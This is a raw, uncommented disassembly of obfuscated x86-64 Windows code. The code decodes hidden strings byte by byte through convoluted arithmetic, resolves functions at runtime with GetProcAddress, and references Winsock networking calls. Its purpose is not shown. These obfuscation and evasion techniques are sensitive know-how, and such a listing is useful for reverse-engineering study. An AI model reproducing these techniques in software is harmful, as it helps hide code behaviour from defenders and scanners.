jne 0x14006b21b
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006b648
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006b24c
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x14006ac73
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006b0a2
movzx r9d, r11b
lea edx, [r9 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x54
jmp 0x14006b598
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b2a2
movzx r9d, r11b
lea edx, [r9 - 0x3e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x4e
jmp 0x14006b598
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006b2ca
lea edx, [r11 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006b648
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006b2e5
movzx r9d, r11b
lea edx, [r9 - 0x56]
mov ecx, 0x2d
jmp 0x14006b477
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006b30d
lea edx, [r11 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xa
add dil, dl
jmp 0x14006b4b6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006b026
lea ecx, [r11 - 0x5e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x6e
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ac73
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b37f
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x68
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ac73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006b3a7
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006b648
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006b3be
lea edx, [r11 + 0x40]
mov ecx, 0x20
jmp 0x14006b5d1
cmp rbx, rcx
jne 0x14006b3e8
lea ecx, [r11 - 0x44]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x24
inc r8
dec r11
inc r11
jmp 0x14006ac73
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006b057
movzx r9d, r11b
lea edx, [r9 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006b598
mov byte [rbp + r11 + 0x300], dil
inc r11
jmp 0x14006ac73
movzx r9d, r11b
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, byte [rbp + r11 + 0x300]
sub dil, al
sub dil, 0x50
add dil, dl
add dil, r10b
jmp 0x14006b60b
movzx r9d, r11b
lea edx, [r9 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14006b485
movzx r9d, r11b
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x6a
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x300], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, cl
mov byte [rbp + r11 + 0x300], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ac73
lea ecx, [r11 + 0x7e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x72
jmp 0x14006b64b
lea ecx, [r11 + 2]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0xe
jmp 0x14006b648
lea ecx, [r11 + 0xa]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x46
dec r11
inc r11
jmp 0x14006ac73
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x14006ac73
movzx r9d, r11b
lea edx, [r9 + 0x12]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7e
add dil, dl
add r9b, 0x72
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x1e
add r10b, r9b
mov byte [rbp + r11 + 0x300], r10b
inc r8
dec r11
inc r11
jmp 0x14006ac73
lea edx, [r11 + 0x22]
mov ecx, 9
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006ac73
movzx r9d, r11b
lea edx, [r9 - 0x5a]
mov ecx, 0x3b
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
sub r9b, 0x12
movzx eax, r10b
and al, r9b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 + 0x300], cl
jmp 0x14006b648
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006ac73
lea rcx, [r11 + r13]
movzx eax, cl
and al, r9b
mov edx, gethostname
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ac73
sub r11b, 0x4a
movzx eax, r10b
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006ac70
add r11b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006ac54
lea rdx, [rbp + 0x17b96a8]
jmp 0x14006b6ee
lea rdx, [rbp + 0xf06666]
jmp 0x14006b6ee
lea rdx, [rbp + 0x300]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x60], rax
mov byte [rbp + 0x330], 0x50
mov byte [rbp + 0x331], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x332], 0x85
mov byte [rbp + 0x333], 0x7b
mov byte [rbp + 0x334], WSAGetLastError
mov byte [rbp + 0x335], 0x85
mov byte [rbp + 0x336], 0x79
mov byte [rbp + 0x337], 0x7f
mov byte [rbp + 0x338], 0x51
mov byte [rbp + 0x339], 0x78
mov byte [rbp + 0x33a], 0x8d
mov byte [rbp + 0x33b], 0x8c
mov byte [rbp + 0x33c], 0x61
mov byte [rbp + 0x33d], 0x7a
mov byte [rbp + 0x33e], 0x63
mov byte [rbp + 0x33f], 0x5e
mov byte [rbp + 0x340], 0x1c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x341], xmm0
mov byte [rbp + 0x351], al
movabs r12, 0x1ba4e894a2912e82
movabs r13, 0x52eeb9bde7b38b86
movzx edi, byte [rbp + 0x3e0]
nop
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x22
jae 0x14006c390
movzx r11d, byte [rbp + r10 + 0x330]
mov r9, r11
nop dword [rax]
cmp rbx, r10
ja 0x14006c387
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006b7fc
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
add dil, 0x72
jmp 0x14006b843
je 0x14006c30d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006c274
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006c242
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006c204
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006c1e3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006c198
cmp r8, r10
ja 0x14006c37e
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14006b871
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r11b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006b8b0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006c189
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006c161
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006c146
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006c115
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14006be29
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006be0a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006bde6
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006bdc5
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006bda6
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006bd8b
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006bd6c
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006bd4d
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006bd2e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006bcfd
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006b8c0
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006c35e
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006c33e
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006baab
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006ba8c
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14006ba71
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006bcaa
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006bc62
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006bc24
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006bbfa
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006b8c0
lea rbx, [r8 + 6]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006bbcd
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006bbb2
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14006bb93
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006bb74
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006bb55
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006bb32
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006bb0d
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006bae9
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006baca
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006b8c0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 8]
jmp 0x14006b8c0
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1a
jmp 0x14006b8b0
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006b843
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006b7c6
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
movzx r9d, r10b
jmp 0x14006c1b6
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x14
inc r8
dec r10
inc r10
jmp 0x14006b7b3
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006b7b3
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, r10b
jmp 0x14006c21e
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c258
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c25b
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c29b
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6c
jmp 0x14006c2c6
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x50
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x14006b7b3
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r11b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
mov byte [rbp + r10 + 0x330], dil
inc r10
jmp 0x14006b7b3
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6e
cmp r8, 5
jb 0x14006bc14
movzx r9d, r10b
lea ecx, [r9 - 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x28]
jmp 0x14006c1b6
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x52
cmp rbx, 0x3e8
jae 0x14006c0d2
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14006bfc9
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7c
jmp 0x14006bc3a
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x36
lea rax, [r8 + rbx]
cmp rax, 6
je 0x14006c0f9
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14006bf35
lea edx, [r10 - 6]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006bc78
lea edx, [r10 - 4]
movzx eax, dl
and al, r11b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x14006b7b3
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c2c6
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c29b
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c25b
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x14006c258
movzx r9d, r10b
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
jmp 0x14006c21e
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3c
dec r10
inc r10
jmp 0x14006b7b3
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x14006b7b3
movzx r9d, r10b
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 4
jmp 0x14006c1b6
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14006be51
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006bcc0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006be87
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4c
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x14006b7b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006beaf
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c29b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006bed7
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c258
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006bf03
movzx r9d, r10b
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c21e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006bcc0
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006b7b3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006bf50
movzx r9d, r10b
lea edx, [r9 - 2]
mov ecx, 7
jmp 0x14006c1a5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006bf7d
lea ecx, [r10 + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xe
inc r8
dec r10
inc r10
jmp 0x14006b7b3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006bfa1
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x62
jmp 0x14006c258
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006bc78
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7e
jmp 0x14006c25b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006c003
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x14006b7b3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006c02b
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c25b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006c04f
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
jmp 0x14006c258
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006c077
movzx r9d, r10b
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x24
jmp 0x14006c21e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006c0a1
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x14006b7b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006bc3a
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5c
inc r8
dec r10
inc r10
jmp 0x14006b7b3
movzx r9d, r10b
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + r10 + 0x330]
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006c21e
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006c29b
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r11b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x14006b7b3
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6a
jmp 0x14006c29b
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14006b7b3
movzx r9d, r10b
lea edx, [r9 - 0x52]
mov ecx, 0x1f
jmp 0x14006c1a5
movzx r9d, r10b
lea edx, [r9 - 0x5a]
mov ecx, 0x3b
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add r9b, 0x4e
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x22
add r9b, r11b
mov byte [rbp + r10 + 0x330], r9b
inc r8
dec r10
inc r10
jmp 0x14006b7b3
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x52
dec r10
inc r10
jmp 0x14006b7b3
movzx r9d, r10b
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x36
add r9b, 0x52
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x3e
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x330], r11b
jmp 0x14006c258
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1a
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14006b7b3
movabs rdx, 0xc1825c1071f8458e
add rdx, r10
movzx r11d, r9b
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea edx, [r10 + 0x56]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x5a
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x330], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x28]
movzx eax, r11b
and al, dl
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + r10 + 0x330], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x14006b7b3
lea rcx, [r10 + r13]
movzx eax, cl
and al, r9b
mov edx, 0x2b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x14006b7b3
sub r10b, 0x76
movzx eax, r11b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x14006b7b0
sub r10b, 0x7a
movzx eax, r11b
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x14006b7a0
lea rdx, [rbp + 0x14b4288]
jmp 0x14006c397
lea rdx, [rbp + 0x9c710a]
jmp 0x14006c397
lea rdx, [rbp + 0x330]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x58], rax
mov byte [rbp + 0x120], 0xd3
mov byte [rbp + 0x121], 0x23
mov byte [rbp + 0x122], 0x2f
mov byte [rbp + 0x123], 0x4c
mov byte [rbp + 0x124], 0x5e
mov byte [rbp + 0x125], 0x52
mov byte [rbp + 0x126], 0xbc
mov byte [rbp + 0x127], 0x57
mov byte [rbp + 0x128], 0x58
mov byte [rbp + 0x129], 0x56
mov byte [rbp + 0x12a], 0x4b
mov byte [rbp + 0x12b], 0x47
mov byte [rbp + 0x12c], 0xe2
xor eax, eax
mov qword [rbp + 0x12d], rax
movabs rsi, 0xd50bd92687c7773d
movabs r12, 0x7d6aa25ac6033125
movabs r13, 0x7f238b73975665b7
movzx edi, byte [rbp + 0x3e0]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x14006cf4f
movzx r11d, byte [rbp + r10 + 0x120]
mov rdx, r11
nop dword [rax]
cmp rbx, r10
ja 0x14006cf46
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006c48c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x55
jmp 0x14006c4b0
je 0x14006ced9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006ceac
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006ce91
nop dword [rax]
cmp r8, r10
ja 0x14006cf3d
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x14006c4da
lea ecx, [r10 + 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 7
jmp 0x14006c520
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006ce4a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006ce29
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006cde5
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006cdc7
cmp rbx, rcx
je 0x14006cd6e
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14006ca92
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006ca73
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006ca4b
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006ca2a
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006ca0b
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006c9e9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006c9ce
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006c9af
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006c990
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006c963
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006c530
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 6]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006cf20
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006cf03
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006c714
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006c6f9
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14006c6de
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006c91a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006c8ce
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14006c890
lea rax, [r8 + 0x41]
cmp rbx, rax
